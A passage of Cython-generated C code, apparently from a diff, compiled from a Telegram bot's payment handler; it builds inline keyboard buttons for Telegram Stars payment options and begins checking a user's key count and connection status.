__Pyx_PySequence_ITEM(__pyx_t_1, __pyx_t_8); __pyx_t_8++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + #endif + } + } else { + __pyx_t_3 = __pyx_t_9(__pyx_t_1); + if (unlikely(!__pyx_t_3)) { + PyObject* exc_type = PyErr_Occurred(); + if (exc_type) { + if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); + else __PYX_ERR(0, 55, __pyx_L1_error) + } + break; + } + __Pyx_GOTREF(__pyx_t_3); + } + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_i); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_i, __pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":56 + * + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton( + */ + __pyx_t_3 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_10 = PyObject_Length(__pyx_t_7); if (unlikely(__pyx_t_10 == ((Py_ssize_t)-1))) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __pyx_t_7 = PyInt_FromSsize_t(__pyx_t_10); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_6 = PyObject_RichCompare(__pyx_t_3, __pyx_t_7, Py_LT); __Pyx_XGOTREF(__pyx_t_6); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_t_6); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (__pyx_t_2) { + + /* "handlers/payments/stars_pay.py":57 + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + */ + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + + /* "handlers/payments/stars_pay.py":58 + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 58, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + + /* "handlers/payments/stars_pay.py":59 + * builder.row( + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< + * callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + */ + __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_text); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/stars_pay.py":60 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< + * ), + * InlineKeyboardButton( + */ + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_n_u_stars, __pyx_t_12); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/stars_pay.py":58 + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 58, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/stars_pay.py":62 + * callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'stars_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 62, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + + /* "handlers/payments/stars_pay.py":63 + * ), + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i + 1]["text"], # <<<<<<<<<<<<<< + * callback_data=f'stars_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + * ), + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __pyx_t_13 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_14 = __Pyx_PyObject_GetItem(__pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = __Pyx_PyObject_Dict_GetItem(__pyx_t_14, __pyx_n_u_text); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_13) < 0) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + + /* "handlers/payments/stars_pay.py":64 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'stars_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', # <<<<<<<<<<<<<< + * ), + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_14 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_14, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = __Pyx_PyUnicode_Concat(__pyx_n_u_stars, __pyx_t_12); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_t_14) < 0) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + + /* "handlers/payments/stars_pay.py":62 + * callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'stars_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + */ + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 62, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_3, __pyx_t_11, __pyx_t_14}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_5, 2+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/stars_pay.py":56 + * + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton( + */ + goto __pyx_L8; + } + + /* "handlers/payments/stars_pay.py":68 + * ) + * else: + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + */ + /*else*/ { + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + + /* "handlers/payments/stars_pay.py":69 + * else: + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 69, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + + /* "handlers/payments/stars_pay.py":70 + * builder.row( + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< + * callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ) + */ + __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetItem(__pyx_t_3, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_t_4, __pyx_n_u_text); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_t_3) < 0) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":71 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< + * ) + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetItem(__pyx_t_3, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_t_4, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyUnicode_Concat(__pyx_n_u_stars, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_t_3) < 0) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":69 + * else: + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 69, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_t_3}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_L8:; + + /* "handlers/payments/stars_pay.py":55 + * ) + * + * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + */ + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/stars_pay.py":74 + * ) + * ) + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=" ", + */ + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + + /* "handlers/payments/stars_pay.py":75 + * ) + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=" ", + * callback_data="enter_custom_amount_stars", + */ + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + + /* "handlers/payments/stars_pay.py":76 + * builder.row( + * InlineKeyboardButton( + * text=" ", # <<<<<<<<<<<<<< + * callback_data="enter_custom_amount_stars", + * ) + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 76, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 76, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_enter_custom_amount_stars) < 0) __PYX_ERR(0, 76, __pyx_L1_error) + + /* "handlers/payments/stars_pay.py":75 + * ) + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=" ", + * callback_data="enter_custom_amount_stars", + */ + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_11}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/stars_pay.py":80 + * ) + * ) + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) # <<<<<<<<<<<<<< + * + * key_count = await get_key_count(tg_id) + */ + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__4) < 0) __PYX_ERR(0, 80, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 80, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_7}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/stars_pay.py":82 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) + * + * key_count = await get_key_count(tg_id) # <<<<<<<<<<<<<< + * + * if key_count == 0: + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_7 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_7)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_7); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_7, __pyx_cur_scope->__pyx_v_tg_id}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L10_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 82, __pyx_L1_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_key_count = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/stars_pay.py":84 + * key_count = await get_key_count(tg_id) + * + * if key_count == 0: # <<<<<<<<<<<<<< + * exists = await check_connection_exists(tg_id) + * if not exists: + */ + __pyx_t_2 = (__Pyx_PyInt_BoolEqObjC(__pyx_cur_scope->__pyx_v_key_count, __pyx_int_0, 0, 0)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 84, __pyx_L1_error) + if (__pyx_t_2) { + + /* "handlers/payments/stars_pay.py":85 + * + * if key_count == 0: + * exists = await check_connection_exists(tg_id) # <<<<<<<<<<<<<< + * if not exists: + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_7 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + 